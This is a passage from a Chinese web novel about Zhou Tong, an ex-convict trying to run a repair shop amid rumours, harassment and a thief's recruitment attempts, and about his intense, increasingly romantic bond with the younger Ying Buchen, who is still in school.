说这周瞳啊,年纪轻轻的就搞大了女人的肚子,吃喝嫖赌那是样样都沾,是个有钱的女人就凑上去,后来带着个孩子,孩子饿得干吧瘦,天天在垃圾堆捡垃圾吃,在棚子里一哭就是一宿啊。
后来又说为了吃绝户,跪着去认了亲娘,这亲娘也真是倒霉,摊上他就得了重病。他要不出来钱了,偷了老太太的,都拿去赌/博了。
那晚上本来周瞳去抢劫,大过年的要抢点钱花花,结果就遇上了好心的老先生,老先生教育他要好好做人,周瞳只想要钱,结果两个人起了争执,混子一把推到了老人,老人躺在地上睁着眼睛不能动,混子一不做二不休,就直接将他撞死了。
可怜的老人在生命最后的尽头还在教书育人,而这死混子哪怕是枪毙也是不为过的。
这版本是流传最广的版本。
周瞳去租店面。
“我知道你是那个那个那个那个,我这租给正经人的。”房东说,“走。”
周瞳叼着根烟,真踏马烦人。
问了好几家,最后高价租了一个,破破烂烂的。
周瞳一个人坐在店里,不知道在想什么。
脚边踩烂了一堆的烟头。
周瞳回来就捣鼓他那张桌子上的东西。
“要学多久呀?”应不尘躺在沙发上,捧着书问周瞳。
“害,他那个东西,太老套了。”周瞳抬起头来,说,“不想学了。”
“不想学就不学,”应不尘说,“不要着急。”
“嗯。”周瞳顺着他的话,却没说每天都感觉自己不知道在干什么。
今天出去买菜,卖菜的老头见着他,都不愿意卖菜给他了。
44. 流言四起
从前在号子里的时候,每天按部就班,吃饭,唱歌,看书,放风,开着灯睡觉。
周瞳的眼睛不好,有时候感觉痛,有时候又干,眨巴眼就疼,但是他还是臭美,按着自己的眼珠子不能乱转,连睡觉的时候都按着。
乱转的话,可太丑了。
天一热,就要流汗,从前在号子里劳动的时候,汗流进眼睛里就像要把眼珠子沤烂了似的。
没人教,周瞳就磕磕巴巴的学,有时候细碎的零件怎么也安不上,看不清,周瞳就焦躁。他觉得他成了个废物。
这些事儿让他一个劲儿的抽烟,似乎多抽几根烟就能想通了什么事情一样。
现在干啥都得证明文件,劳改犯想要重新融入社会实在太难了。
小店是开起来了。
但是来的顾客看他的眼睛不好,总是不愿意让他修,这种事儿都乐意找老师傅。
这样的日子持续了一个月,周瞳实在没辙了。
谁能架不住能便宜呗。
周瞳又给贴了一张广告,洗衣机,电冰箱,电视机,修家电修坏了倒贴,修好了对折。
陆陆续续也有几个生意了,修的都是些手机排线啥的,蛮好。
结果第三天早上,这周围一伙儿的修家电的师傅就往周瞳店里泼油漆。
周瞳不想跟他们吵,吵急了还要报警,报警了又没个好。
自己只能又把条子撕下来了。
事儿闹得挺大,好多人看。
周瞳说,“没事儿,没事儿,刚来贵宝地,前辈们来指教指教,切磋切磋,要是修的不好师傅们这里过不了关,老师傅不让我给乡里乡亲修家电!”
周瞳好声好气,被指着鼻子骂,“你这个劳改犯,谁是你前辈!”
“哎!”周瞳拎着热水瓶出来,要给他们倒茶,茶还没倒上,油漆就又甩过来了,周瞳往那一站,像个血人。
人家觉得有点下不来了,一窝蜂的散了。
周瞳回家的时候还有油漆味儿。
应不尘问他咋了,他说他帮隔壁刷标语去了。
应不尘坐在店子门口看书,一个生意都没有,周瞳总是不好意思,要赶他回家。
“也看不清,你蹲这里干啥,回去看呗。”周瞳扇着扇子,习惯性地驱赶着应不尘身边的蚊子,拍了好几个,“跟你说话呢,听见没。”
应不尘站起来,离他走了两步,又蹲边上了。
“死犟狗。”周瞳不管他,他也不捣乱,就是安安静静的坐在门口看书而已。
他最近在研究电子秤,这个东西古怪就多了。
但是他不敢让应不尘知道,同行都在这么干,稍微弄一下就可以挣五块钱。
应不尘扣扣搜搜的,小心翼翼地,自己一点儿钱都不敢多花,全给他守着了,他心里难受,还没到二十岁的小伙子,人家二十岁的哪里有这样的?
上次周瞳去学校可是看见了,人家的小伙子可是清花水露的。
应不尘这逼想啥呢?
周瞳捣鼓着称,调着数字,现在市面上的老式称磅已经开始没人用了,消费者看见是这种称心里就打鼓。
周瞳私下卖鬼称,人家买来称,就找周瞳来调,调一次,五块钱。
周瞳特别怕应不尘知道,要是搁以前,他还会跟应不尘炫耀这个挣钱的买卖。他自己想了,他大了,不能带他走歪路,他得堂堂正正的。
这会儿有个人在晚上将要关门的时候进来,看起来狗狗搜搜的。
“干啥。”周瞳问,对面的人不怀好意。
“这玩意儿你收不?”对面的男人问。
周瞳拉开灯看了一眼,说,“这不就是个电容器吗?又不值钱,我要它干啥?”
男人有点失望,看见周瞳一个人,说,“我知道,你是个劳改犯,在宜华的时候你烧了半个面粉厂,后来又倒腾音圈去了,最后给人撞死了,名气还挺大。”
周瞳有点不悦,“我劳改犯咋了,我睡你妈啦?”
男人也不生气,伸出手说,“蔽姓李,老兄,我是你的财神。”
周瞳见此人耳长脸方大鼻子,手又嫩,不是个老实本分的主,他笑着谄媚,说,“我这就缺你这大工程师!”
周瞳有点警觉,拉下卷帘门,说,“违法乱纪的事情我不干的。”
“说那话,什么违法乱纪,咱都是进过宫的,谁乐意再进去一回了?”这位李财神说,“老兄,干维修你手上没活计,没来路,你下个月喝汤了得。”
李财神抬头看了看周瞳的门脸,说,“跟我一起干呗。”
“干啥?”周瞳收着钥匙,拎着菜就要回去了。
“这样,咱先去看看,不乐意你就不干呗,”李财神说,“是不是,我还能牛不喝水硬按头啊,就是修些东西,乱七八糟的,我也不会啊。”
无病假修,小病大修,以次充好是家电行业的老毛病了,算不得什么见不得人的,不这样谁干这个?
“你拿过来再说吧。”周瞳说。
周瞳店里的一些检测设备的机器就算是二手收来,也是花了不少钱的。他兜里没多少钱,而且按照周瞳算的钱,这些刨开,应不尘应该也没啥钱了,基本都交给他了,那应不尘明年就要上大学,挣钱是要紧事。
“现在去呗。”李财神在一辆小车上,冲着愣神的周瞳吹口哨,“走啊。”
周瞳又把卷帘门拉上了,坐上了李财神的车。
还没开出去一会儿,李财神就说,“到了。”
一条路上,只有一辆车,上面掉落了许多树叶,看着好长时间也没开了。
“我之前大哥的车,进去了。”李财神说。
“溜门撬锁啊?”周瞳问。
“我要这车干毛线,”李财神神神秘秘的问,“你晓得三元催化在哪吧?”
三元催化里面含有稀有金属,没良心的修车店时常偷这玩意儿。
除了排气声大点儿了,冒点黑烟,不懂的车的看不出来什么异样,小型号的能卖个三五百,大的就不好说了,三四千也是有的。
这是暴利。
周瞳拧着眉头说,“我特么不跟你偷这玩意儿呢,好好做个人吧。”
李财神也不恼,在后面说,“天真呢。”
调一个秤最多5元,好多人嫌贵。
有些人调又要叫周瞳调,自己也不是什么好东西,但是还能瞧不起周瞳呢。
周瞳犯嘀咕,三元催化这个东西,在行业里面,就是谁手快算谁的,就算报警了,也说不清楚到底啥时候没了的,更别说在大路上面了。
周瞳躺在沙发上闭着眼睛。
他看见应不尘,瘦胳膊瘦腿的,见周瞳看他,又高兴了,把书藏在后面,说,“我最近没捣乱。”
“知道,”周瞳拢了拢头发,说,“你最听话。”
“嗯,”应不尘翻着书,坐在小凳子上,说,“瞳哥,我肯定好好读书,不让你白辛苦。”
周瞳才他妈不会去偷狗日的三元催化呢,这日子这么好,这么懂事的娃。
但是就算是这样,麻烦还是来了。
有人偷了这一条街上的三元催化,有人见过李财神来找周瞳,也看见周瞳上了他的车,李财神是出了名的惯犯。
流言四起,都说周瞳白天开店,晚上就去偷三元催化。
这阵风吹的比他的传奇还要猛。
有一个老板的新车,还没到家多久呢,三元催化就被偷了,听别人说就是周瞳,便找上门来。
“就你小子偷的是吧?”老板姓陈,是前面一条街上的干烟酒店的,也是这附近烟草证最大的一家,有钱,看着就一副了不起的样子。
“有证据吗?”周瞳从他的工作台上抬头。
“那人家为啥要说是你,不说别人?”陈老板说,“你自己个儿就是劳改出来的,道德品质败坏,你要是承认了我还敬你,贼,你知道是啥吗?是那最磕碜的玩意儿!”
“那你报警吧。”周瞳说,“我偷你啥啊?人家说啥你就信啥啊?你没长脑子是不?人家叫你吃屎你也去呗。”
陈老板典着个大肚子,衬衫的扣子都绷开了,说,“你有本事你别偷!你是不是上了人家车,是不是去瞧了三元催化,人家都看见了,你觉得你说的话谁信呐?瞧你这穷不漏搜的样儿吧,想钱想疯了?”
应不尘就站在远处,一言不发,他看了看,就走了。
陈老板骂是骂了,但是他也没证据,砸店还得赔钱,狗叫了一通就走了。
周瞳脸上有点儿挂不住,晚上不想回家。
应不尘也没来找他。
三天之后,周瞳听说那家烟草店被查了。
隔壁卖水果的摊主撞了一下周瞳,说,“你要是偷那么多那个汽车零件,都被抓进去了吧?”
“我偷那玩意儿干啥。”周瞳说,“就是倒霉催的。”
“上次骂你的那个烟酒店被查了,”摊主说,“罚了很多钱!烟草局的人马上就来了,你跟烟草局认识人啊?”
“我不认识。”周瞳说。
但是周瞳大约能知道是谁干的。
周瞳把钥匙扔在桌上,应不尘出来了。
“你举报的?”周瞳问。
“嗯。”应不尘说,“咋了,他卖假烟有理啊。”
“那倒是没有。”周瞳说,“我没偷人家三元催化。”
“我知道。”应不尘说,“不然我不能举报。”
“你咋知道人家卖假烟。”周瞳问。
“你的烟都是我买的,我买了那么多条,他都知道我了,”应不尘说,“我跟他说我想要点便宜点的好烟,叫他给我想想办法。”
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“然后到了我就举报了,”应不尘说,“40条,罚去吧。”
“你咋知道人家不会找你茬?”周瞳问。
“找呗,还能给我打死啊。”应不尘说,“我允许他说你了吗?”
周瞳嘿笑了一声,说,“你这小子,咋这么损呢。”
“人家真找你事儿,”周瞳说,“你上下学怎么弄。”
“我不知道。”应不尘说,“我没朋友,我上学下学就我自己。”
周瞳琢磨了一下,说,“我去接你去,行不?”
“会不会太麻烦你?”应不尘说,“你也挺忙的。”
“还好吧,”周瞳说,“过来。”
周瞳拉着应不尘的手说,“那会儿我记得歌舞厅外头吧,还有你汪爷那会儿,人家说我,你跟个炮仗似的,要上去打架,我拉着你不让去,说你度量小。你现在度量还是一样小。”
“但是我没炮仗了,”应不尘说,“我长脑子了,而且你不用接送我多久,他很快就要开不下去了,他那烟草证比较大,很多人都在他那拿烟,罚得也厉害,他生意就没那么好了,我要是他,我拿着这烟草证就换一个地方开去,开个面门都没人知道了。”
“哎呀,长大了,要给哥撑腰了。”周瞳说,“但是我也没生他气,我确实上了人家的车了,也去看三元催化了,但是那钱我不挣,太磕碜了。”
“劳改犯。”周瞳嘀咕了一声,“不好听,太闹心。”
应不尘扑在周瞳的身上,说,“你不是,都怪我。”
“有啥呀。”周瞳说,“就一年,你就念完了,是不是,真没事儿,而且我学这些我也有自己的想法,我修修学学的,我还干别的呢。”
“真的?”应不尘问。
“那能有假的。”周瞳说,“这东西我就琢磨琢磨玩儿。”
“那你想干啥?”应不尘问。
“电脑,游戏机啥的吧。”周瞳说,“再看看,不然贸贸然弄那个,还得交学费,自己先学了呗。”
“行。”应不尘说,“那你要忙,你就别管我了,那个姓陈的日子好过,他老婆做生意也厉害,肯定会劝他跟我犯不上。”
“你连这个你都算到了?”周瞳问。
“瞳哥,我一开始就知道他老婆能给他按住,我撒谎了,”应不尘蹲在沙发上说,“因为我其实挺想你送我上下学,我们班的同学都是家长送,就我没有,我有点羡慕,但是你忙嘛,我得懂事听话些,不能给你裹乱。”
“哎呀,”周瞳说,“谁家的宝贝儿这么懂事儿呢我看看。”
“你都好久,好久没有对我说这句话了。”应不尘的眼睛,瞧着周瞳。
周瞳摸着他的脸说,“哎,真是,这咋一晃就这么多年了呢。多少年了?”
“快十年。”应不尘说。
“太快了这功夫,”周瞳说,“最好的就是十八岁到二十八岁吧我觉得,那会儿就是人生的开始,也是你的现在,我可真羡慕你,我十七八的时候那可太苦了,哪有你现在这条件,不过你脑子也比我的好使,等你跟我一个年纪,估计都是事业有成了。”
“我很着急。”应不尘说,“我都想快别念了,把欠你的东西都还给你。”
“咱两说啥欠不欠的,”周瞳说,“听话,去睡觉。”
但是事情远没有这么简单,陈老板的事儿之后,李财神又来了。
“滚。”周瞳说,“你他妈净给我捅娄子,能不能滚?”
“急啥呀?”李财神说,“他们这儿的人就这样,哪怕你啥也不干,人家要说你就说你,要往你身上撒尿就往你身上撒尿,你能管的了别人的嘴了?”
“我用你墨迹。滚蛋。”周瞳说。
李财神还要凑过来,就见应不尘不知道从哪儿冒出来的,他用铅丝勒住了李财神的脖子,用膝盖顶着他,不知道从哪儿弄来一副手铐,在李财神挣扎的时候直接给铐了。应不尘嘴上狠狠地咒骂他,说,“你特么是不是乐意在这条街上打听他?为了让他跟你偷东西你就逼他是吧,”应不尘咬着牙,恨恨地说,“我他妈让你打听,我他妈让你拉他下浑水,”李财神被应不尘掐着,喘不上来气,周瞳拉着应不尘说,“小尘,别别别,小尘,别生气,小尘,哥在这,哥哪儿也不去,放手,听话。”
李财神被勒得喘不过来气,应不尘被周瞳拽着,周瞳喊,“你赶紧走呀!你还等我按不住了再来一顿啊?滚!以后别他妈来了。”
“怎么可能来一次,人家就都知道了!怎么可能啊!他现在是偷汽车配件,他以后就要偷别的!他就是想拉你入伙!他真的...他真的...他该死!”应不尘还要去追,被周瞳捂在怀里,说,“他不好,他不好,别生气,别生气。”
“呜...”应不尘被周瞳闷在怀里,“瞳哥,为啥你要这么难啊。”
45. 你管老子
“还好,还好,”周瞳揉着他脑袋说,“都气哆嗦了都,关门关门,我领你回家。”
周瞳给他的手心涂药,说,“看看,勒这样,你这气性不是说了收了吗,咋还上去就干仗呢。”
“他也不敢报警,他刚从里面出来,”应不尘说,“我弄得他顶多赔点钱,我又不是赔不起。”
“你说你买件衣服舍不得,干仗去赔钱这么大口气,你图啥呀?”周瞳一点点的给他涂,“弄得身上也没个好,我真用不着你这样。”
“瞳哥,”应不尘说,“我不想再让你受委屈了。”
“对...对不起,我...我不应该说这些。”应不尘搓着手指,周瞳没说话。
最近周瞳让这店搞得身心俱疲,而应不尘的反应无疑是给周瞳更大的顾虑。
他前一段还能稳定的情绪到现在,一次比一次绷不住,周瞳不傻。
他瘪着嘴,什么都没说,就是那样的瞧着你,周瞳不允许他说那些大逆不道的话,他就咬着牙憋着,但是真心就跟犯罪一样,遮掩不住。
周瞳挠挠头,摸了摸应不尘的脸,没说话,走了。
周瞳从前觉得自己最能分辨旁人的伎俩,在生意场上的时候人家说半句话他都能吃到是什么意思,但是他分不清应不尘。
最近的应不尘卖惨太过,且周瞳明知道他是个啥性子。
但是周瞳还是一听他说那些话就心疼的不行。
周瞳不能因为他要强,就看轻他的委屈。
周瞳不能因为他年幼,就看轻他的情意。
周瞳指尖夹着的烟烧了一大半,他歪在沙发上不知道在想什么。
应不尘轻轻掩上了门。
***
应不尘最近功课盯得紧,老师要让他晚上也要去学校自习。
应不尘在英语上有点儿拖后腿,周瞳看了他的成绩单了。
周瞳听见隔壁摊主,就是那家卖水果的,他说他侄女儿就是英语不好,高考真的是被拖累死了,想要英语好,就得在日常生活中都用英语沟通,要敢说,能听,才能学好。
周瞳挠了挠头,那个几啦瓜啦的东西,怎么才能学好呢?
周瞳问他,“那英语不好怎么弄啊?”
老汉瞥了一眼周瞳,一副自己可懂了的神情,“就得家里头人舍得花钱!找学校老师补课去。”
“啊,”周瞳应了一声,又说,“老师在哪里找啊?学校里的成不成?”
“学校里的哪成啊,”老汉说,“我侄女可是说了啊,当时他妈要是舍得钱,让他去学那个一万多块钱的什么桥子英语班,上那的都考的可好了。”
“啥桥?”周瞳问。
“忘了,”老汉说,“你打听这个,人家有机构的,晓得不,孩子都能出国上学的!出了国了,就不回来了,过好日子去,住庄园,开小汽车。”
“还能去联合国呢!”老汉学了词儿就瞎用。
但是周瞳晚上又睡不着了。
出国好啊,现在有钱人家的孩子都出国了,外面的钱一个掰开了分成八个,都比这里的钱值钱。
周瞳在号子里听说,有个狱友的老板,就送她家女儿去意大利,现在跟意大利人结婚了,也不咋回来了,国外特别发达,有能力的中国人去了都得闪闪发光。
周瞳心里痒痒的。
周瞳还在号子里听说过,国外还不歧视同性恋,不像2002年的国内,见了同性恋跟见了鬼一样,往上三代都直不起脊梁骨,应不尘这样的,就该去国外,国外同性恋多,没人瞧不起他。
周瞳搓着自己的手指,越想越靠谱。
应不尘最近太累了,周瞳都叫他不要回来住了,他偏偏不听,得比其他住校的同学提前快一个小时起床。
应不尘洗完澡,穿着个内裤就坐在小板凳上喝玻璃瓶的汽水。
从前在那个半地下室的时候,桌子实在太矮了,应不尘坐着读书就要弯着腰,时间一长,他就好像驼背了似的。
周瞳的腰跟笔杆子一样直,最是看不惯,拿着扫把缠在他身上提着个棍子就看着他要他坐的板板正正的。但是桌子太矮了,周瞳就自己敲了条粗糙的板凳来,应不尘也把它从宜华带过来了。
“瞳哥,你咋不看萧十一郎了。”应不尘问。
“有啥好看的,”周瞳说,“我早看出来了,那个逍遥候就是杨开泰他爹。”
“瞳哥真厉害。”应不尘说。
电视机里的连城璧正在苦练武功,再接着,电视坏了。
周瞳在头上戴了个探照灯,蹲在地上修电视,他修电视的水平已经不错了,显像管就是电视机最容易坏的地方,周瞳拿了一个螺丝刀在修。
“看啥。”周瞳说,被应不尘的眼睛盯着,他脑瓜子都要冒烟了。
“看你修电视,我们高中要学电路,电流电压的,我看看,有点难。”应不尘穿着个大裤衩,捧着脸蹲在地上看周瞳修电视。
“电流跟电压长在我脸上是吗?”周瞳抬起头来,强光打在应不尘的脸上。
他琥珀色的瞳孔,之前总是不吃饭饿得后背的骨节凸起。
应不尘就别过头去,乱弄地上的东西,说,“没...没呀,我就是好几天没见你了...”
“想看看而已...”应不尘蹲在地上,手里捏着一个螺丝刀,都掐自己手心了,那眼睛,似是又有要哭了,周瞳去拽了一下,拽走了。
周瞳说,“那就大大方方看呗,整得跟个贼一样干啥?”
应不尘抬头说,“我不敢。”
“你还有不敢的事儿?”周瞳斜了他一眼。
“我怕你生气。”应不尘说。
“哟,你能怕我生气,我生气除了能打你一顿,我还能咋的。”周瞳拧上了最后的螺丝。
“真的?”应不尘特别期待的问。
“啊,”周瞳说,“咋了,又干啥坏事了?”
“没,”应不尘说,“瞳哥,我学校要开家长会。”
“你以前咋开的?”周瞳问,“非得要家长去不可吗?”
“嗯,要签字,”应不尘说,“高考什么的,马上就高三,要重新分班。老师要讲话,我的位置...从前都是空着的。”
“从前李泥鳅不去给你开吗?”周瞳问。
“我从来没跟他说过。”应不尘说。
家长会就在三天之后,各路的家长都得来,作为哥哥姐姐来开家长会的也不少,周瞳穿了个白色的背心,外面套了件黑色的衬衫,穿了个牛仔裤就来了。
跟应不尘说的差不多,老师要讲话,周瞳坐在应不尘的位置上,看他写的作业,字倒是比小时候狗爬的时候强多了,那四年他总有信寄过来,看信封上的字都能认出来。
老师开始分发资料,要高三的孩子老师要提前通气,成绩好的跟成绩好的在一块,成绩差的跟成绩差的搞到一起去。
老师在讲台上喋喋不休的讲着暑假之后是如何至关重要的一年,周瞳从前自己上学的时候都坐在最后一排,书拿倒了都不知道,但是来给应不尘开家长会倒是装的像个正经人。
老师又给各位家长发同学们写给家长的信,说要跟孩子多沟通。
应不尘的信就在桌子上,别的家长都打开看了,边上的女人看完在抹眼泪。
女人觉得有点不好意思,说,“就是咋觉得,孩子咋一晃就大了呢。”
“嗯。”周瞳摩挲着手上的信,说,“一晃就
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大了。”
“你是应不尘的家长是吗?”女人问。
“嗯。”周瞳说,“你好。”
“我家孩子回来总讲应不尘读书用功,他在边上都不好意思不读书了,我孩子...”女人说,“你瞧,他信里还写,要是应不尘的家长没有来,老师让家长给孩子写回信的话,让我也给应不尘写一张,我看到这里,我觉得,我家孩子读书好不好都不要紧了。”
“幸好你来了。”女人说。
周瞳瞧了一眼,应不尘的同桌写的都是感谢父母之类的话,检讨自己贪玩,会好好读书之类的。
周瞳还是打开了应不尘的信。
上写:
瞳哥,
感谢你给我生命。
周瞳觉得牙酸,用舌头顶了顶腮帮子,将信折了起来,不知道放哪里,只得放在衬衫的口袋里,接下来就是老师开始挨个找学生的家长谈话,周瞳进来的时候,班主任看着他的的单子,又上下打量了两眼,问,“应不尘的家长?”
周瞳没说是,也没说不是,只得鞠了一躬说,“老师好。”
班主任说,“他的情况,嗯,属于比较复杂,从前的时候在宜华是一位老教师收养的,基础打得很好,除了一些生活上的情况,我作为老师来说,还是比较心疼的。”
班主任扶着额头说,“学习很刻苦,不太需要监督,我们这次大会,他只要保持,没什么问题,您在这里签字。”
周瞳心里有点闷,不知道是因为应不尘的信,还是老师说他苦。
周瞳站在走廊上,等应不尘过来。
边上挤着很多家长,有一个瞧了周瞳好几眼。
“小周,是不是?”他似是怕认错了,又看了一眼。
“啊,”周瞳与他握手,说,“您好您好。”
“过来。”那人招了个孩子,过来了,说,“小周叔叔,以前跟爸一起吃过饭。”
孩子看了看周瞳,说,“是不是应不尘那个哥呀?”
“对。”周瞳说,“你好,同学。”
“是你呀。”孩子嫌弃地说。
“啊?”周瞳又有点懵了。
“说啥呢!”他家长拍了一下他脑袋。
“打我干啥,”孩子抱着脑袋说,“以前在宜华读初中的时候,应不尘不是因为他哥欠钱,被打的可惨啦!中饭都没钱吃!钱都被抢啦,我还给应不尘吃我的饭,他们还骂我呢!”
“你这孩子,瞎说八道的。”家长拽着小孩儿走了,留周瞳一个人在原地。
周瞳从来也不知道。
他以为他替应不尘背了很多苦,但是忘了问,应不尘自己他苦不苦。
应不尘出来了。
周瞳拉起他的手,往前走。
边上有很多家长,老师,同学。
刚刚那孩子的大声嚷嚷让所有人都在看周瞳。
“咋了瞳哥。”应不尘说,“你不是不乐意在外面拉我的手吗?”
周瞳听见自己磨牙的声音,说,“你管老子。老子乐意。”
“瞳哥,你咋了呀?”应不尘问,“是不是我老师说话惹你生气了?”
“没有。”周瞳在前面,应不尘只能看见他的背影,“你老师很好,你要尊敬老师,知道不。”
“知道。”应不尘说,“那你咋啦?”
周瞳拉着应不尘往前走,无人的街道。
周瞳把他抱在怀里,把脑袋闷在他的脖子里,说,“你太苦了。”
“读书,”应不尘被他抱着,没明白,“读书,也没那么苦呀。”
“我成绩好,你也不用感动成这样吧?”应不尘说。
周瞳吸了吸鼻子,说,“就感动了,咋地吧。”
46. 昏了头了
他一缓过劲儿来,就把应不尘撒开了。
二人并排都在街上,应不尘说,“我英语课成绩有点拖后腿。”
“啊,”周瞳说,“给你上个补习班不?”
“我们老师说叫多看看英文电影。”应不尘挨着他说,“瞳哥,你能陪我去吗?”
“我看个鸡毛电影,我能看明白那玩意儿吗?”周瞳插着兜往前走。
“外国电影,都是英文,”应不尘说,“老师说得让家长选选,外国的电影有些不适合我们这个年纪看。”
周瞳说,“你自己选呗,我能看懂是咋的?啥事儿你不懂了,装什么蒜,整得自己不谙世事似的。”
三天后,最后应不尘还是把周瞳拽去看了电影,使用的方法是骗。
“瞳哥,我脚让车撞了,现在,现在在新世纪对面。”应不尘给周瞳打电话,诺基亚手机,收了俩旧的,周瞳自己修的。
周瞳扔了正在焊的电路板就出去了,焊刀点在手上,抽得心都忽然痛了一下。
周瞳脸阴了,因为应不尘就好端端的站在对面。
周瞳过来扇了应不尘一个嘴巴子,一个接着一个扇,说,“让车撞了,你让车撞了是吧!你他妈让车撞了是吧!”
应不尘借口找得太蹩脚了,他忘了,周瞳亲眼见过车祸,他到现在都不敢摸方向盘。
应不尘直挺挺的挨了三个巴掌,眼睛红了,他还是个毛头小子,就是想骗自己的心上人来看电影。
应不尘红着眼眶,嘴唇抿得极紧,他捏着两张电影票,说,“对,对,对不起。”
汗水打湿了电影票,应不尘低着头,别过脸去,说,“我就是,就是...”应不尘说不下去了,他感觉自己犯了天大的错误,他怎么会犯这么低级的错误。
“我错了,我再也不说谎了。”应不尘的眼泪一大颗,忽地滚了下来。
周瞳的心又软了,这是他自己的错误,为何要对他发这么大的怒气?
周瞳不知道摸他脸还是抓他手臂合适,只能像家里大人捏小孩儿一样捏了下应不尘的脖颈,说,“我也不对,不该打你。你也...不是小孩儿了。”
应不尘瘪瘪嘴,似乎是收不住,别过脸去眨巴着眼,又一颗豆大的眼泪流了下来,他倔着擦了擦,想到自己二十岁那一年,赶上了应不尘防火烧了面粉厂,应不尘扑过来,哭着说自己错了。
那会儿都没生气,只要他活着比啥都强。
现在的气性怎么就这么大呢?
夏日的凉风吹在二人身上,距离那一年二人从那个偏僻的小渔村里出来,已经过了十年了。
十年里,应不尘每一天都在等他,不管是从前还是进去,亦或者是现在,十年的每一天里,应不尘都在等他。
周瞳的心软了,软成了一锅粥。
“行了,还哭,”周瞳抬起手摸了摸他的一头狗毛。
应不尘倔着不肯说话。
“那你也不对呀,”周瞳好声好气说,“你也不能骗人呀,我那是太着急了。”
“我知道。”应不尘说,“我在气我自己不长脑子。”
“够有脑子了,”周瞳说,“瞧瞧你这些置办的,你就比我刚来的时候大一点儿,那会儿我带着你,住的是鸡窝。”
“那你还打我。”应不尘抬起头来,看着周瞳的眼睛说,“哥,你是不是恨我,恨我烧了面粉厂?你就是恨我是不是?”
“滚蛋。”周瞳说,“你那会儿你几岁啊,人家像你这么大当眼珠子看着,我给你一个扔车库里,没给厂子全烧了,再烧死两人,都算你爹妈加我爹妈在底下找关系找得屁股着火。”
应不尘还是不说话,也不动。
周瞳说,“我咋跟你赔罪,你能高兴啊?”
“你亲我一口。”应不尘小声说,轻得听都听不见。
“啥?”周瞳以为自己听错了,困惑地看着他。
“我说你亲我一口。”应不尘的眼泪又啪嗒一下掉下来了。
“我真...”周瞳走不知道怎么办,只能挖了他一眼转身要走。
应不尘抓住了他的胳膊,说,“这个不行的话,你陪我看个电影行吗?”
鲁迅先生可是说了,不让开窗的时候你可以考虑跟人商量把屋顶掀了。
周瞳最终还是被拽进来看电影了。
叽里咕噜的放的啥周瞳早忘了,就是好几回都想尿急去厕所,但是电影院的里面太安静了,这一排的人都看得特别认真,好几个女生都擦了几回眼泪。
周瞳想挤出去上厕所,还得耽误他们,觉得不好意思,只能憋着睡觉。
电影太长了,看着看着,应不尘就在黑暗里用力的拽住了他的手腕。
“干啥。”周瞳厉声,但是很轻。
“手痒。”应不尘若无其事的说。
“你手痒你抓我干啥。”周瞳又说。
应不尘变本加厉,抓着周瞳的手就要十指交握。
周瞳狠狠地挣了一下,边上的女生跟前面的人都转来过来,他们有点嫌弃,对周瞳说,“注意素质!”
周瞳想要抽出应不尘的手,被他更是死死的握住,这小子哪里来的这么大的熊劲儿?
周瞳继续挣脱,已经甩了好几次,应不尘在他耳边说,“注意素质。”
“我注意你妈,”周瞳咬着牙,说,“放手。”
“什么?”应不尘一脸无辜的问,正好整个电影到了最高潮的情节,一堆人闹在一起,特别吵闹。
“我说,放...”周瞳侧过头去说话的时候,被转过来的应不尘轻轻啄在了嘴巴上。
周瞳蒙了。
大庭广众啊!公共场所啊!倒反天罡啊!
周瞳的胸腔都气得一鼓一鼓的,但是手还是没挣脱出来。
应不尘个子小,整个人都能蹲在电影院的座椅上,别人说,气血虚的人总是喜欢这么坐,气血虚的人的劲儿怎么就这么大,跟头牛似的。
他把周瞳的手死死的拽在自己的怀里,贴着自己的胸口。
散场的时候,周瞳终于挣脱他了。
“还他妈不如刚开始我就...!”亲你一下算了,周瞳没说出口,应不尘接了话说,“现在也来得及。”
“我来及你妈。”周瞳冷着脸说。
散场的时候晚了,没公交车了,打车还很贵。
应不尘就往摩的前面走,说,“你坐前面还是我坐前面?”
这无辜小兔的样子,好像刚刚捣乱的不是他。
“你自己走,”周瞳阴沉沉地说,“我自己一个车走。”
应不尘扬了扬手里的钞票,说,“你猜猜你现在身上还有没有钱。”
“那老子不走了,”周瞳明白过来应不尘偷了他兜里的钱,说,“我走路回去。”
应不尘说,“那行吧,我也跟你一起,到家也过十二点了,洗洗刷刷,我还能再睡五个小时,就可以去补课了,摩的的话,十多分钟就到家了,也不会脚酸。”
周瞳恨恨地往前走了两步,又说,“你坐前面!”
“好啊。”应不尘上了车,拍拍后座。
摩的师傅问了地址,晚上过了十点他们加钱。
摩的后面有个箱子,方便捆行李拉东西,所以坐人的地方很窄。
应不尘坐在中间,摩的起速了之后,“抱着我,不然摔下去了。”应不尘说。
“我摔不下去。”周瞳板着个死人脸说。
应不尘就往周瞳身上靠,靠在他身上,仰着头看他。
“坐好。”周瞳斜着看了他一眼,就看风景。
应不尘还是那么仰着脸看周瞳,眼睛像小狗。
突然一个急转弯,周瞳握住手把的手赶紧抱住了应不尘。
再想松开的时候,应不尘却把他的手抓住了。
隐秘的,还有第三者的,周围都是行人的,仲夏深夜,应不尘被自己的心上人拥在怀里,哪怕他不是情愿的。
屋漏偏逢连夜雨,那个转弯之后,这摩的就开始咔咔的排不出气,师傅说,“你们就给一点,再找个车子吧,我这个车子坏了。”
周瞳下车了,下车的时候人都松了一口气,今天松气松的也委实有点多了。
立马有师傅热情地又来拉人。
周瞳板着脸说,“你滚后面坐去。”
“好啊。”应不尘说。
结果一上车,周瞳的汗毛都立起来了,因为应不尘从背后一把子抱住了周瞳,还把脑袋也贴在了他的脖子上!
摩的还在往前开。
有风,呼呼的。
应不尘抱住了周瞳,摩的师傅开的比刚刚还快,周瞳僵住着脖子不能动,连转也不敢转过去,狠狠的掐了一把应不尘的大腿,恶狠狠的说,“你再动一下试试?”
“你要是再敢乱动,”周瞳吸了一口冷风,说,“今天晚上要是还留在新春,我跟你姓。”
应不尘果真不动了,抓着铁杆子,故意跟周瞳隔开了一点点距离。
但是...一下,两下,三下。
他的嘴就亲在周瞳的后脖颈上,在每一次刹车的时候,哪怕只是微微的减速,应不尘都会过度地拥有惯性。
“这是刹车的事。”应不尘崩得像个棒槌,说,“我知道的,我最听你的话。”
***
周瞳晚上睡不着。
比起自己生意没起色,应不尘更让他头疼。
但是在应不尘让他头痛的事情里也只能排第二,更让他无敌头痛的是——
周瞳看见了他的车票,在一个被烧烂了的小汽车存钱罐子里,当年周瞳在外面跑车在省城买的,买的那会儿挑货车还是汽车的时候犹豫了一下,他本来想选个红色的货车的,又想起来自己跟他是在客运车上挨在一起的,最后选了个客车。
那个存钱罐烧得
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没样了,之前应不尘特别宝贝。
里面都是车票。
